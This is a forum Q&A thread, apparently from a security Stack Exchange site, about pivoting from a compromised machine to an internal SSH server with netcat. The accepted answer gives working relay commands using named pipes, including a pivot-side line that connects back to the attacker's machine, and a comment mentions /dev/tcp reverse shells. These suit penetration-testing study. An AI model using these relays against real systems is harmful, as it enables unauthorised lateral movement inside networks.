So I have a shell into machine A which doesn't have ssh installed and I can't get a tty shell on (I've tried all of the tty cheat sheets, I think this is intentional)

Through machine A I can see machine B which has a ssh server running on port 2222.

What I'd like to do is either figure out how to use netcat to connect to ssh manually or use netcat to go from my attacking machine to machine A to machine B.

I first tried nc -lvp 444 -c 'nc machine.b 2222' but I can't bind to Machine A, I'm guessing firewall rules.

Next I tried forwarding the connection back to my attacking machine nc attacking.machine 444 -c 'nc machine.b 2222' which works but I realized once it's forwarded back to my attacking machine, I can't access the port to connect to it with ssh.

This is the network design... I think

enter image description here

  • 1
    Have you tried /dev/tcp ? I wrote the addition to pwnwiki.io/#!scripting/bash.md search for "bash reverse shell" you may want to swap to socat on the receiving side to support readline. – Oneiroi Jul 4 '18 at 9:39
  • I think socat might be the answer. I saw it but thought it needed to be on the pivot machine. I read the docs and it makes sense – Anthony Russell Jul 4 '18 at 12:17

Okay so the answer is to use a netcat relay. I found this cheat sheet from Sans that has some great nc commands on it. I also got some sage wisdom from @BetterSafteyNet which led me to the PDF. With their powers combined I came up with the series of commands below to make this work.

Using the diagram I originally posted as a legend:

First setup the listener relay on the attacking machine

~$ cd /tmp; mknod backpipe p
~$ nc -lvp <listen port 1> 0<backpipe | nc -lvp <listen port 2> | tee backpipe

Next setup the client to client relay on Machine A (the pivot machine)

~$cd /tmp; mknod backpipe p 
~$nc <machine b ip> <ssh port> 0<backpipe | nc <attack machine ip> <listening port 1> | tee backpipe   

Finally make the SSH connection from the attacking machine

~$ssh id@ -p <listen port 2>
  • 1
    Thank you, this was the first time I had to pivot (just starting to learn!) and you helped me a ton. I'm currently in a docker container and can't get a reverse shell, but I CAN get into the mysql through the tunnel – Yablargo Oct 21 '19 at 2:37

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.